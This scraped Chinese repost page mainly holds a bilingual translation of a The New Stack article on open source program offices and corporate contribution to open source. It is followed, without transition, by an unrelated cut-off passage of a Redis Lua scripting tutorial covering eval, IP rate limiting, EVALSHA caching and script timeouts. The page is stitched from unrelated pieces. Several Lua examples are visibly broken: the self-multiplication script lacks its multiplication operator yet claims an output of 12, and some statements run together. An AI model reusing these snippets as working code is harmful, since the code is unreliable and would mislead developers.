依次是排名前 10 的贡献者。但Aniszczyk 表示,但也有很多终端用户公司进入前 100 名,包括 Uber、BBC、Orange、Netflix 和 Square。 “我们一直知道,在上游项目中工作不仅仅是关正确与否----它是开源软件开发的最佳方法,也是向客户提供开源福利的最佳方式”他说,“很高兴看到IT领导者们也认识到了这一点。” 为了和这些公司一起作出贡献,公司也需要有自己的开源策略,而拥有一个开源计划办公室则可以为其提供帮助。 “在使用开源软件方面,OPSO为公司提供了一个至关重要的能力中心”他说。 这与公司拥有安全运营中心的方式类似,他说。 “围绕一个项目而发展的开发人员社区,有助于代码库的形成,并吸引更多的开发人员参与,这可以变成一个良性循环。” ——Tom Hickman,ThreatX 首席创新官 “如果你对安全团队进行相应投资,你通常是不会期望你的软件是安全的,也无法及时应对安全事件。”他说。 “同样的逻辑也适用于 OSPO,这就是为什么你会看到许多领先的公司,例如Apple、Meta、Twitter、Goldman Sachs、Bloomberg 和 Google 都拥有 OSPO。他们走在了趋势的前面。” 而对组织内的开源活动的支持态度亦可成为软件供应商们的差异化原因与营销的机会。 根据Red Hat 2月分发布的一项调查,82%的IT领导者更倾向于选择为开源社区作出贡献的软件供应商。 受访者表示,当供应商支持开源社区时,就表示着他们更熟悉开源的流程并且在客户遇到技术难题时会更加有效。 但收益的不仅仅是软件供应商们。 根据 The New Stack、Linux Foundation Research 和 TODO Group 9 月份的调查,57% 拥有 OSPO 的组织将使用它们来进一步发展战略关系和建立合作伙伴关系。 十年前,Mark Hinkle 在 Citrix 工作时创办了一个开源计划办公室。他指出了在内部拥有一个 OSPO将如何使公司受益。 “对于我们来说,最大的工作是让不熟悉开源的员工学会并参与其中,成为优秀的社区成员”,他说,“我们还就如何确保我们的IP不会在没有正确理解的情况下进入项目的情况提供了指导,并确保我们没有与我们企业软件许可相冲突的开源项目合作。” 他说,OSPO还帮助Citrix确定了公司参与开源项目和Linux基金会等贸易组织的战略机会。 如今,他是云原生开源集成平台 TriggerMesh 的首席执行官兼联合创始人。 他说,参与开源系统对公司来说有着重大的经济效益。 “我们参与Knative是为了分享我们基础底层平台的开发,但作为业务的一部分,我们也拥有相关的增值服务。”他说,“通过共享该平台的研发,这为我们提供了更多的资源来改进我们自己的差异化技术。” Part4如何入门开源 在 The New Stack、Linux Foundation Research 和 TODO Group 的 9 月份调查中,有 63% 的公司表示,拥有OSPO 对其工程或产品团队的成功至关重要,高于上一年度该项研究数据的 54%。 其中77% 的人表示他们的开源程序对他们的软件实践产生了积极影响,例如提高了代码质量。 但公司也不可能总是为他们使用的每一个开源项目而花费精力。 “首先,节流一下”,VMware 的 Ambiel 建议道。 公司应该关注投入使用中最有意义的项目。而这也是OSPO可以帮助确定优先事项并确保技术与战略一致性的领域。 之后,开发人员应该自己去了解一下。项目通常提供相关在线文档,一般包含贡献着指南、治理文档和未解决问题列表。 “对于那些你较感兴趣的项目中,你可以介绍一下自己----打个招呼”,她说。“然后转到Slack频道或者分发列表,询问他们需要帮助的地方。也许他们不需要帮助,一切完好;又或者他们也有可能使用新人来审查核验代码。” Ambiel 说,开源计划办公室不仅可以帮助制定为开源社区做出贡献的商业案例,还可以帮助公司以安全、可靠和健全的方式来做这件事。 “如果我为一家公司工作,并想为开源做出贡献,我不想意外披露、泄露或破坏任何专利,”她说。“而OSPO可以帮助您做出明智的选择。” 她说,OSPO还可以在开源方面提供领导力和指导理念的支持。“它可以提供引领、指导、辅导和最佳实践的作用。” Aqua Security的开发人员倡导者Anaïs Urlichs则认为,支持开源的承诺必须从高层开始。 她说,“公司在多数时候往往不重视对开源的投资,所以员工自然而然不被鼓励对此作出贡献。” 在这些情况下,员工对于开源的热情也会在空闲时间里对开源的建设而消散殆尽,这对于开源的发展来说是不可持续的。 “如果公司对开源项目依赖度高,那么将开源贡献纳入工程师的日程安排是很重要的,”她说。“一些公司定义了员工可以为开源建设的时间百分比,将其作为他们正常工作日的一部分。” The New Stack 是 Insight Partners 的全资子公司,Insight Partners 是本文提到的以下公司的投资者:Sysdig、Aqua Security。 中英对照版 How an OSPO Can Help Your Engineers Give Back to Open Source OSPO (开源项目办公室)是如何使工程师回馈开源的 When it comes to open source software, there’s a big and growing problem: most organizations are takers, not givers. 谈到开源软件,有一个较大且日益严重的问题:大多数组织都是索取者,而不是给予者。 There’s a classic XKCD comic that shows a giant structure representing modern digital infrastructure, dependent on a tiny component created by “some random person in Nebraska” who has been “thanklessly maintaining since 2003.” 经典漫画XKCD展示了一个代表现代数字基础设施的巨大结构,它依赖于“内布拉斯加州的某位人士”创建的微小组件,该组件“自2003年来一直都处于吃力不讨好的状态”。 Randall Monroe’s XKCD comic illustrates the open source dilemma: overreliance on a small number of volunteer project maintainers. Randall Monroe 的XKCD漫画展示了目前开源面临的窘境:过度依赖少数项目维护志愿者的志愿服务。 This would have been funny, except that this is exactly what happened when security vulnerabilities were discovered in Log4j last December. (开源项目由志愿者自发来维护,)这听起来像是一件很滑稽的事情,但事实上去年十二月在Log4j中发现的安全漏洞也确实存在着上述情况。 The Java-based logging tool is ubiquitous in enterprise publications. In the last three months, for example, Log4j has been downloaded more than 30 million times, according to a report by the enterprise software company Sonatype. 然而这个基于Java的日志记录工具已经在企业内部刊物中无处不在。例如根据软件公司Sonatype的一份报告显示,在过去的三个月里,Log4j的下载量就已经超过3000万次。 The tool has 440,000 lines of code, according to Synopsys‘ Black Duck Open Hub research tool, with nearly 24,000 contributions by nearly 200 developers. That’s a large dev team compared to other open source projects. But looking closer at the numbers, more than 70% of commits were by just five people. 根据Synopsys(新思)公司旗下的Black Duck Open Hub 研究工具显示。Log4j有着440,000行代码,由近200名开发人员贡献了将近24,000行代码。其实与其他开源项目相比,这是一个庞大的开发团队。但是如果关注数据的话,就会发现超过70%的提交是仅仅靠五个人来完成的。 Log4j’s home page lists about a dozen members on its project team. Most projects have far fewer developers working on them — and that presents a problem for the organizations that depend on them. Log4j的主页上展示了十几位项目团队的成员。而大多项目的开发人员要比其原本需要的少得多----这是高度依赖开发人员团队所呈现出来的问题。 “There is little incentive for anyone today to contribute to an existing open source project,” said Jeremy Stretch, distinguished engineer at NS1, a DNS network company. “There’s usually no direct compensation, and few accolades are offered — most users don’t even know who maintains the software that they use.” “如今的人没有什么动力去为现有的开源项目做贡献”,来自DNS网络公司NS1的杰出工程师Jeremy Strech说,“因为通常来说,这没有直接的物质回报,也很少提供荣誉----大多数用户甚至不知道他们所用的软件是谁维护的。” The most common motivation among open source contributors is to add a feature that they themselves want to see, he said. “Once this has been achieved, the contributor rarely sticks around.” 他说,开源贡献者们最常见的动机就是添加他们自己想要的功能。“一旦实现了这一点,他们几乎都不会留下来。” Meanwhile, as a project becomes more popular, the burden on the core team of maintainers keeps increasing. 与此同时,随着项目的逐渐流行,对于维护方面的核心团队来说,他们的负担也在不断增加。 “More users means more feature requests and more bug reports — but not more maintainers,” Stretch said. “What was once an enjoyable hobby can quickly become a tedious chore, and many maintainers understandably opt to simply abandon their projects altogether.” “更多的用户意味有着更多的功能需求和错误报告----但不是更多的维护人员”,Stretch说。“曾经令人愉快的爱好很快就会变成一项乏味的项目,所以很多维护人员选择干脆完全放弃他们的项目,这也是可以理解的。” Part1The Tragedy of the Commons The open source software ecosystem is a perfect example of the “tragedy of the commons.” 开源软件的生态系统,就是“公地悲剧”的一个完美例子。 And the tragedy is — when everyone uses, but no one contributes, that resource — whether it’s an overrun park or an open source project — eventually collapses from overuse and underinvestment. Everyone loves using free stuff, but everyone expects someone else to take care of it. 这个悲剧就是---当一种资源,无论是一个超限的公园还是一个开源项目,所有人都在使用而没有人贡献之时,最终都会因为过度使用和投入不足而崩溃坍塌。 This approach can save you money in the short term, but it can become a fatal flaw over time. Especially since open source software is everywhere, running everything. 这种方式可以在短期内为你节省资金,但随着时间的推移,它可能会变成项目里致命的缺陷。 Linux, for example, the open source operating system, runs on 96% of the world’s top 1 million servers, and 90% of all cloud infrastructure is on Linux. Not to mention that 85% of all smartphones in the world run Linux, in the form of the Android OS. 拿Linux来说,这个开源操作系统在全球前100万台服务器中运行率在96%以上,且这些服务器90%的云基础设施也都在Linux上。更不用说世界上85%的智能手机都运行着Linux,即Android操作系统。 Then there’s Java, Apache, WordPress, Cassandra, Hadoop, MySQL, PHP, ElasticSearch, Kubernetes — the list of ubiquitous open source projects goes on and on. 还有Java, Apache, WordPress, Cassandra, Hadoop, MySQL, PHP, ElasticSearch, Kubernetes--这些常见开源项目的列表还在逐渐增加着。 Without open source, much of today’s technical infrastructure would immediately grind to a halt. 如果没有开源,今天的大部分技术基础设施的建设也将会戛然而止。 “It is a real problem,” said Danil Mikhailov, executive director at Data.org, a nonprofit backed by the Mastercard Center for Inclusive Growth and The Rockefeller Foundation that promotes the use of data science to tackle society’s greatest challenges. “这是一个很现实的问题”,Data.org的执行董事Danil Mikhailov说,该组织是由万事达包容性发展中心和洛克菲勒基金会支持,旨在促进使用数据科学来应对当今社会所面临的巨大挑战的非营利性组织。 While nearly all organizations use open source software, only a minority contribute to those projects. Forty-two percent of participants in a survey released in September by The New Stack, Linux Foundation Research, and the TODO Group said tthey contribute at least sometimes to open source projects. 虽然几乎所有组织都在使用着开源软件,但只有少数组织为这些项目作出了贡献。The New Stack、Linux Foundation Research 和 TODO Group 在 9 月发布的一项调查中,42% 的参与者表示,他们至少有时会为开源项目做出贡献。 The same study showed that only 36% of organizations train their engineers to contribute to open source. 而同一项研究表明,只有36%的组织会培训他们的工程师为开源作出贡献。 Individual companies should support projects that they use the most and are critical to their success, Mikhailov said: “If you use, you contribute.” 个体公司应该支持贡献这些他们使用最多且对他们成功至关重要的项目,Mikhailov认为:“如果你使用开源,你就应该为他做出属于你自己的贡献。” Part2OSPO Benefits:Less Tech Debt,Better Recruiting Participating in open source communities — especially when guided by an in-house open source program office (OSPO) — can help ensure the health of projects critical to your organization’s success, improve those projects’ security, and allow your engineers to have more impact in the projects’ development road map. 参与开源社区——特别是在内部开源项目办公室(OSPO)的指导下——不仅可以保证对组织成功至关重要项目的健康发展,还可以提高项目安全性,同时可以允许工程师在项目发展规划中起到更大的影响。 Say, for example, a company uses an open source tool and modifies it a little to make it better. If that improvement isn’t contributed back to the community, then the official version of the open source project will start to diverge from what the company is using 例如,如果一家公司使用了开源工具,并对其进行了一些调整使其变得更好。但如果这项改进没有反馈到开源社区,那么开源项目的正式版本就会一开始与该公司所使用的版本有所不同。 “You start to grow technical debt because when the original source changes and you’ve got a different version. Those differences grow rapidly, compounding daily. It doesn’t take long for you to be the proud user and maintainer of a one-of-a-kind open source project variant,” said Suzanne Ambiel, director, open source marketing and strategy at VMware. “当原始代码来源发生变化且你所使用的是不同的版本时,你的技术负债将越来越多。而这些差异是以天为单位迅速增长的。”VMware 开源营销和战略总监 Suzanne Ambiel 表示,“所以你很快就会变成一个开源项目里独一无二变体的‘自豪’用户和维护人员。” “The technical debt gets bigger and bigger and it gets very expensive for a company to manage.” “如果技术负债越来越多,那么公司的管理成本则会非常昂贵”。 Support for open source activity can also be a recruiting tool. “It’s really a talent magnet,” said Ambiel. “It’s one of the things that new hires look for.” 实际上对于开源活动的支持也变成了一种招聘途径。“这真是一块吸引人才的磁铁,”Ambiel说,“这也是新员工所寻求的“。 Some engineering managers might worry that open source contributions will detract from core product development, she said. Their rationale, she added, might run along the lines of, “I only have so much talent, and so many hours, and I need them to only work on things where I can measure and see the return on investment.” 她还提到,一些工程经理可能会对贡献开源而减损核心产品的开发的精力而感到担忧。她补充到,他们的理由有可能是这样的:“我只有有限的才华与时间,且我需要这些只做我认为可以度量且看到投资回报的事情。” But that attitude, she said, is shortsighted. Supporting employees who contribute to open source communities can build skills and develop talent, she said. 但她说,这是一种鼠目寸光的态度。支持开源社区并且作出贡献的员工,可以从中培养技能与增长才华。 Loris Degionni, chief technology officer and founder at Sysdig, a cloud security vendor, echoed this notion: “Finding employees who contribute to open source is a gold mine,” said. 云安全供应商 Sysdig 的首席技术官兼创始人 Loris Degionni 也赞同这一观点:“找出为开源做出贡献的员工无疑就找到一座金矿,”他说。 These employees are more capable of delivering features a company wants to use and merge them into community-supported standards, he said. And in a war for talent, companies that embrace open source are more attractive to developers. 他认为,这些参与开源的员工更具备公司想拥有的竞争力并将一些功能融入至社区所支持的标准中。且在人才争夺战中,拥抱开源的公司也更受到开发人员的青睐。 “Lastly, open source is driven by a community of technical experts you may not be able to hire,” he said. “When employees actively contribute and collaborate with these experts, they’ll be better informed of best practices and bring them back to your organization. “最后,开源项目是由你可能无法聘请的技术专家社区推动的”,他说,“当员工积极参与并于这些专家合作时,他们将能更好地深入这些最佳实践,并将这些收获带回到你的组织之中。” “You start to grow technical debt because when the original source changes and you’ve got a different version … It doesn’t take long for you to be the proud user and maintainer of a one-of-a-kind open source project variant.” —Suzanne Ambiel, director, open source marketing and strategy, VMware “当原始数据来源发生变化且你所使用的是不同的版本时,你的技术负债将越来越多...所以你很快就会变成一个开源项目里独一无二变体的”自豪“用户和维护人员。” — Suzanne Ambiel,VMware 开源营销和战略总监 “All of this should be rewarded — developers shouldn’t have to spend their free time honing their skills, as your company will quickly see benefits from their efforts.” “但是这一切终究不会白费--开发人员不应该把业余时间用在磨练他们的技能上,因为你的公司很快就会在他们的努力中看到好处。” An OSPO, Degionni suggested, can help achieve these goals, as well as help prioritize contributions and ensure collaboration. In addition, they can help provide governance that mirrors what companies would have for internally developed applications. Degionni认为,OSPO(开源计划办公室)可以帮助公司实现这些目标,以及帮助确定贡献的优先级并确保合作的进行。除此之外,他们也可以对公司内部开发应用程序方面的治理提供相关帮助。 “Members of the open source team are also in a position to be great internal evangelists for open source technologies, and act as bridges between the organization and the broader community,” he added. “开源团队的成员也可以成为开源技术的伟大内部布道师,并充当组织与更广泛社区之间的桥梁。”他补充道。 In the September survey from The New Stack, Linux Foundation Research and the TODO Group, nearly 53% of organizations with OSPOs said they saw more innovation as a result of having an OSPO, while almost 43% said they saw increased participation in external open source projects. 在 The New Stack、Linux Foundation Research 和 TODO Group 的 9 月调查中,近 53% 的拥有 OSPO的组织表示,由于拥有了OSPO,他们看到了更多创新,而近 43% 的组织表示,他们在外部开源项目的参与度上有所增加。 Part3More OSPO Benefits:A Business Edge Contributing to open source communities doesn’t just help the communities, but the companies that contribute to them, said Tom Hickman, chief innovation officer at ThreatX, a cybersecurity firm. 网络安全公司 ThreatX 的首席创新官 Tom Hickman 表示,为开源社区做出贡献,不仅有助于社区,还有助于为社区做出贡献的公司。 “Growing the community of developers around a project helps the code base, and attracts more developers,” he said. “It can become a virtuous circle.” “围绕一个项目而发展的开发人员社区,有助于代码库的形成,并吸引更多的开发人员参与”,他说,“这可以变成一个良性循环。” Also, companies that contribute to open source projects get twice the productive value from their use of open source than companies that don’t, according to research by Harvard Business School. 此外,根据哈佛商学院的研究,为开源项目作出贡献的公司从使用开源的项目中获得的生产价值,是不参与开源项目公司的两倍。 Many of the biggest companies in the world are contributing to open source, said Chris Aniszczyk, chief technology officer at Cloud Native Computing Foundation. He pointed to the Open Source Contributor Index as a reference for exactly just how much companies are doing. Cloud Native Computing Foundation 的首席技术官 Chris Aniszczyk 说,世界上许多巨头公司都为开源作出了贡献。他还提到,开源贡献者的指数是作为公司是否有所作为的参考。 The tech giants dominate the list: Google, Microsoft, Red Hat, Intel, IBM, Amazon, Facebook, VMware, GitHub and SAP are the top 10 contributors, in that order. But there are also a lot of end users on the top 100 list, said Aniszczyk, including Uber, the BBC, Orange, Netflix, and Square. 科技巨头占据了这份榜单的主导地位:谷歌、微软、红帽、英特尔、IBM、亚马逊、Facebook、VMware、GitHub 和 SAP 依次是排名前 10 的贡献者。但Aniszczyk 表示,但也有很多终端用户公司进入前 100 名,包括 Uber、BBC、Orange、Netflix 和 Square。 “We’ve always known working in upstream projects is not just the right thing to do —it’s the best approach to open source software development and the best way to deliver open source benefits to our customers,” he said. “It’s great to see that IT leaders recognize this as well.” “我们一直知道,在上游项目中工作不仅仅是关正确与否----它是开源软件开发的最佳方法,也是向客户提供开源福利的最佳方式“他说,“很高兴看到IT领导者们也认识到了这一点。” To contribute alongside these giants, companies need to have their own open source strategies, and having an open source program office can help. 为了和这些公司一起作出贡献,公司也需要有自己的开源策略,而拥有一个开源项目办公室则可以为其提供帮助。 “OSPOs provide a critical center of competency in a company when it comes to utilizing open source software,” he said. “在使用开源软件方面,OPSO为公司提供了一个至关重要的能力中心”他说。 It’s similar to the way that companies have security operations centers, he said. 这与公司拥有安全运营中心的方式类似,他说。 “Growing the community of developers around a project helps the code base, and attracts more developers. It can become a virtuous circle.” —Tom Hickman, chief innovation officer, ThreatX “围绕一个项目而发展的开发人员社区,有助于代码库的形成,并吸引更多的开发人员参与,这可以变成一个良性循环。” ——Tom Hickman,ThreatX 首席创新官 “If you don’t make the investment in a security team, you generally don’t expect your software to be secure or be able to respond to security incidents in a timely fashion,” he said. “如果你没有对安全团队进行相应投资,你通常是不会期望你的软件是安全的,也无法及时响应安全事件。”他说。 “The same logic applies to OSPOs and is why you see many leading companies out there such as Apple, Meta, Twitter, Goldman Sachs, Bloomberg, and Google all have OSPOs. They are ahead of the curve.” “同样的逻辑也适用于 OSPO,这就是为什么你会看到许多领先的公司,例如 Apple、Meta、Twitter、Goldman Sachs、Bloomberg 和 Google 都拥有 OSPO。他们走在了趋势的前面。” Support for open source activity within your organization can become a differentiator and marketing opportunity for software vendors. 而对组织内的开源活动的支持态度亦可成为软件供应商们的差异化原因与营销的机会。 According to a Red Hat survey released in February, 82% of IT leaders are more likely to select a vendor who contributes to the open source community. 根据Red Hat2月分发布的一项调查,82%的IT领导者更倾向于选择为开源社区作出贡献的软件供应商。 Respondents said that when vendors support open source communities they are more familiar with open source processes and are more effective if customers have technical challenges. 受访者表示,当供应商支持开源社区时,就表示着他们更熟悉开源的流程并且在客户遇到技术难题时会更加有效。 But it’s not just software vendors who benefit. 但收益的不仅仅是软件供应商们。 According to September’s survey by The New Stack, Linux Foundation Research, and the TODO Group, 57% of organizations with OSPOs use them to further strategic relationships and build partnerships. 根据 The New Stack、Linux Foundation Research 和 TODO Group 9 月份的调查,57% 拥有 OSPO 的组织将使用它们来进一步发展战略关系和建立合作伙伴关系。 Mark Hinkle started an open source program office back when he worked at Citrix a decade ago. He pointed out how having an OSPO in-house benefited the company. 十年前,Mark Hinkle 在 Citrix 工作时创办了一个开源计划办公室。他指出了在内部拥有一个 OSPO将如何使公司受益。 “For us the biggest job was to educate our employees who weren’t familiar with open source to get involved and be good community members,” he said. “We also provided guidance on how to make sure our IP didn’t enter projects without proper understanding and we made sure we didn’t incorporate open source that conflicted with our enterprise software licensing.” “对于我们来说,最大的工作是让不熟悉开源的员工学会并参与其中,成为优秀的社区成员”,他说,“我们还就如何确保我们的IP不会在没有正确理解的情况下进入项目的情况提供了指导,并确保我们没有与我们企业软件许可相冲突的开源项目合作。” The OSPO also helped Citrix identify strategic opportunities for the company to participate in open source projects and trade organizations like The Linux Foundation, he said. 他说,OSPO还帮助Citrix确定了公司参与开源项目和Linux基金会等贸易组织的战略机会。 Today, he’s the CEO and co-founder of TriggerMesh, a cloud native, open source integration platform. 如今,他是云原生开源集成平台 TriggerMesh 的首席执行官兼联合创始人。 There are some significant economic benefits to participating in the open source ecosystem, he said. 他说,参与开源系统对公司来说有着重大的经济效益。 “We participate in Knative to share the development of our underlying platform but we develop value-added services as part of our business,” he said. “By sharing the R and D for the platform, it gives us more resources to develop our own differentiated technology.” “我们参与Knative是为了分享我们基础底层平台的开发,但作为业务的一部分,我们也拥有相关的增值服务。”他说,“通过共享该平台的研发,这为我们提供了更多的资源来改进我们自己的差异化技术。” Part4How to Get Started in Open Source Sixty-three percent of companies in the September survey from The New Stack, Linux Foundation Research and the TODO Group said that having an OSPO was very or extremely critical to the success of their engineering or product teams, up from 54% in the previous annual study. 在 The New Stack、Linux Foundation Research 和 TODO Group 的 9 月份调查中,有 63% 的公司表示,拥有OSPO 对其工程或产品团队的成功至关重要,高于上一年度该项研究数据的 54%。 In particular, 77% said that their open source program had a positive impact on their software practices, such as improved code quality. 其中77% 的人表示他们的开源程序对他们的软件实践产生了积极影响,例如提高了代码质量。 But companies can’t always contribute to every single open source project that they use. 但公司也不可能总是为他们使用的每一个开源项目而花费精力。 “First, thin the herd a little bit,” advised VMware’s Ambiel. “首先,节流一下”,VMware 的 Ambiel 建议道。 Companies should look at the projects that make the most sense for their use cases. This is an area where an OSPO can help set priorities and ensure technical and strategic alignment. 公司应该关注投入使用中最有意义的项目。而这也是OSPO可以帮助确定优先事项并确保技术与战略一致性的领域。 Then, developers should go and check out the projects themselves. Projects typically offer online documentation, often with contributor guides, governance documents, and lists of open issues. 之后,开发人员应该自己去了解一下。项目通常提供相关在线文档,一般包含贡献着指南、治理文档和未解决问题列表。 “For the projects that rise to the top of your strategic list, introduce yourself — say hello,” she said. “Go to the Slack channel or the distribution list and ask where they need help. Maybe they don’t need help and everything is good. Or maybe they can use a new person to review code.” “对于那些上升到你的战略清单顶端的项目,你可以介绍一下自己----打个招呼”,她说。“然后转到Slack频道或者分发列表,询问他们需要帮助的地方。也许他们不需要帮助,一切完好;又或者他们也有可能使用新人来审查核验代码。” An open source program office can not only help make a business case for contributing to the open source community, Ambiel said, but can help companies do it in a way that’s safe, secure and sound. Ambiel 说,开源项目办公室不仅可以帮助制定为开源社区做出贡献的商业案例,还可以帮助公司以安全、可靠和健全的方式来做这件事。 “If I work for a company and want to contribute to open source, I don’t want to accidentally disclose, divulge or undermine any patents,” she said. “An OSPO helps you make smart choices.” “如果我为一家公司工作,并想为开源做出贡献,我不想意外披露、泄露或破坏任何专利,”她说。“而OSPO可以帮助您做出明智的选择。” An OSPO can also help provide leadership and the guiding philosophy about supporting open source, she said. “It can provide guidance, mentorship, coaching and best practices.” 她说,OSPO还可以在开源方面提供领导力和指导理念的支持。“它可以提供引领、指导、辅导和最佳实践的作用。” Commitment to support open source has to start at the top, said Anaïs Urlichs, developer advocate at Aqua Security. Aqua Security的开发人员倡导者Anaïs Urlichs则认为,支持开源的承诺必须从高层开始。 “Too often,” she said, “companies do not value investment into open source, so employees are not encouraged to contribute to it.” 她说,“公司在多数时候往往不重视对开源的投资,所以员工自然而然不被鼓励对此作出贡献。” In those cases, employees with a passion for open source end up contributing during their free time, which is not sustainable. 在这些情况下,员工对于开源的热情也会在空闲时间里对开源的建设而消散殆尽,这对于开源的发展来说是不可持续的。 “If companies rely on open source projects, it is important to make open source contributions part of an engineer’s work schedule,” she said. “Some companies define a time percentage that employees can contribute to open source as part of their normal workday.” “如果公司对开源项目依赖度高,那么将开源贡献纳入工程师的日程安排是很重要的,”她说。“一些公司定义了员工可以为开源建设的时间百分比,将其作为他们正常工作日的一部分。” The New Stack is a wholly owned subsidiary of Insight Partners, an investor in the following companies mentioned in this article: Sysdig, Aqua Security. The New Stack 是 Insight Partners 的全资子公司,Insight Partners 是本文提到的以下公司的投资者:Sysdig、Aqua Security。 相关阅读 | Related Reading 《开源合规指南(企业篇)》正式发布,为推动我国开源合规建设提供参考 “目标->用户->指标”——企业开源运营之道|瞰道@谭中意 开源之夏邀请函——仅限高校学子开启 开源社简介 开源社成立于 2014 年,是由志愿贡献于开源事业的个人成员,依 “贡献、共识、共治” 原则所组成,始终维持厂商中立、公益、非营利的特点,是最早以 “开源治理、国际接轨、社区发展、开源项目” 为使命的开源社区联合体。开源社积极与支持开源的社区、企业以及政府相关单位紧密合作,以 “立足中国、贡献全球” 为愿景,旨在共创健康可持续发展的开源生态,推动中国开源社区成为全球开源体系的积极参与及贡献者。 2017 年,开源社转型为完全由个人成员组成,参照 ASF 等国际顶级开源基金会的治理模式运作。近八年来,链接了数万名开源人,集聚了上千名社区成员及志愿者、海内外数百位讲师,合作了近百家赞助、媒体、社区伙伴。 本篇文章为转载内容。原文链接:https://blog.csdn.net/kaiyuanshe/article/details/124976824。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-05-03 09:19:23
274
转载
转载文章
...制来实现原子性,保证数据的一致。 3、Lua脚本 Lua/ˈluə/是一种轻量级脚本语言,它是用 C 语言编写的,跟数据的存储过程有点类似。 使用 Lua 脚本来执行 Redis 命令的好处: 1、一次发送多个命令,减少网络开销。 2、Redis 会将整个脚本作为一个整体执行,不会被其他请求打断,保持原子性。 3、对于复杂的组合命令,我们可以放在文件中,可以实现程序之间的命令集复用。 3.1 在Redis中调用Lua脚本 使用 eval /ɪ’væl/ 方法,语法格式: redis> eval lua-script key-num [key1 key2 key3 ....] [value1 value2 value3 ....] eval代表执行Lua语言的命令。 lua-script代表Lua语言脚本内容。 key-num表示参数中有多少个key,需要注意的是Redis中key是从1开始的,如果没有key的参数,那么写0。 [key1key2key3…]是key作为参数传递给Lua语言,也可以不填,但是需要和key-num的个数对应起来。 [value1 value2 value3 …]这些参数传递给 Lua 语言,它们是可填可不填的。 示例,返回一个字符串,0 个参数: redis> eval "return 'Hello World'" 0 3.2 在Lua脚本中调用Redis命令 使用 redis.call(command, key [param1, param2…])进行操作。语法格式: redis> eval "redis.call('set',KEYS[1],ARGV[1])" 1 lua-key lua-value command是命令,包括set、get、del等。 key是被操作的键。 param1,param2…代表给key的参数。 注意跟 Java 不一样,定义只有形参,调用只有实参。 Lua 是在调用时用 key 表示形参,argv 表示参数值(实参)。 3.2.1 设置键值对 在 Redis 中调用 Lua 脚本执行 Redis 命令 redis> eval "return redis.call('set',KEYS[1],ARGV[1])" 1 gupao 2673 redis> get gupao 以上命令等价于 set gupao 2673。 在 redis-cli 中直接写 Lua 脚本不够方便,也不能实现编辑和复用,通常我们会把脚本放在文件里面,然后执行这个文件。 3.2.2 在 Redis 中调用 Lua 脚本文件中的命令,操作 Redis 创建 Lua 脚本文件: cd /usr/local/soft/redis5.0.5/src vim gupao.lua Lua 脚本内容,先设置,再取值: cd /usr/local/soft/redis5.0.5/src redis-cli --eval gupao.lua 0 得到返回值: root@localhost src] redis-cli --eval gupao.lua 0 "lua666" 3.2.3 案例:对 IP 进行限流 需求:在 X 秒内只能访问 Y 次。 设计思路:用 key 记录 IP,用 value 记录访问次数。 拿到 IP 以后,对 IP+1。如果是第一次访问,对 key 设置过期时间(参数 1)。否则判断次数,超过限定的次数(参数 2),返回 0。如果没有超过次数则返回 1。超过时间, key 过期之后,可以再次访问。 KEY[1]是 IP, ARGV[1]是过期时间 X,ARGV[2]是限制访问的次数 Y。 -- ip_limit.lua-- IP 限流,对某个 IP 频率进行限制 ,6 秒钟访问 10 次 local num=redis.call('incr',KEYS[1])if tonumber(num)==1 thenredis.call('expire',KEYS[1],ARGV[1])return 1elseif tonumber(num)>tonumber(ARGV[2]) thenreturn 0 elsereturn 1 end 6 秒钟内限制访问 10 次,调用测试(连续调用 10 次): ./redis-cli --eval "ip_limit.lua" app:ip:limit:192.168.8.111 , 6 10 app:ip:limit:192.168.8.111 是 key 值 ,后面是参数值,中间要加上一个空格和一个逗号,再加上一个空格 。 即:./redis-cli –eval [lua 脚本] [key…]空格,空格[args…] 多个参数之间用一个空格分割 。 代码:LuaTest.java 3.2.4 缓存 Lua 脚本 为什么要缓存 在脚本比较长的情况下,如果每次调用脚本都需要把整个脚本传给 Redis 服务端, 会产生比较大的网络开销。为了解决这个问题,Redis 提供了 EVALSHA 命令,允许开发者通过脚本内容的 SHA1 摘要来执行脚本。 如何缓存 Redis 在执行 script load 命令时会计算脚本的 SHA1 摘要并记录在脚本缓存中,执行 EVALSHA 命令时 Redis 会根据提供的摘要从脚本缓存中查找对应的脚本内容,如果找到了则执行脚本,否则会返回错误:“NOSCRIPT No matching script. Please use EVAL.” 127.0.0.1:6379> script load "return 'Hello World'" "470877a599ac74fbfda41caa908de682c5fc7d4b"127.0.0.1:6379> evalsha "470877a599ac74fbfda41caa908de682c5fc7d4b" 0 "Hello World" 3.2.5 自乘案例 Redis 有 incrby 这样的自增命令,但是没有自乘,比如乘以 3,乘以 5。我们可以写一个自乘的运算,让它乘以后面的参数: local curVal = redis.call("get", KEYS[1]) if curVal == false thencurVal = 0 elsecurVal = tonumber(curVal)endcurVal = curVal tonumber(ARGV[1]) redis.call("set", KEYS[1], curVal) return curVal 把这个脚本变成单行,语句之间使用分号隔开 local curVal = redis.call("get", KEYS[1]); if curVal == false then curVal = 0 else curVal = tonumber(curVal) end; curVal = curVal tonumber(ARGV[1]); redis.call("set", KEYS[1], curVal); return curVal script load ‘命令’ 127.0.0.1:6379> script load 'local curVal = redis.call("get", KEYS[1]); if curVal == false then curVal = 0 else curVal = tonumber(curVal) end; curVal = curVal tonumber(ARGV[1]); redis.call("set", KEYS[1], curVal); return curVal' "be4f93d8a5379e5e5b768a74e77c8a4eb0434441" 调用: 127.0.0.1:6379> set num 2OK127.0.0.1:6379> evalsha be4f93d8a5379e5e5b768a74e77c8a4eb0434441 1 num 6 (integer) 12 3.2.6 脚本超时 Redis 的指令执行本身是单线程的,这个线程还要执行客户端的 Lua 脚本,如果 Lua 脚本执行超时或者陷入了死循环,是不是没有办法为客户端提供服务了呢? eval 'while(true) do end' 0 为了防止某个脚本执行时间过长导致 Redis 无法提供服务,Redis 提供了 lua-time-limit 参数限制脚本的最长运行时间,默认为 5 秒钟。 lua-time-limit 5000(redis.conf 配置文件中) 当脚本运行时间超过这一限制后,Redis 将开始接受其他命令但不会执行(以确保脚本的原子性,因为此时脚本并没有被终止),而是会返回“BUSY”错误。 Redis 提供了一个 script kill 的命令来中止脚本的执行。新开一个客户端: script kill 如果当前执行的 Lua 脚本对 Redis 的数据进行了修改(SET、DEL 等),那么通过 script kill 命令是不能终止脚本运行的。 127.0.0.1:6379> eval 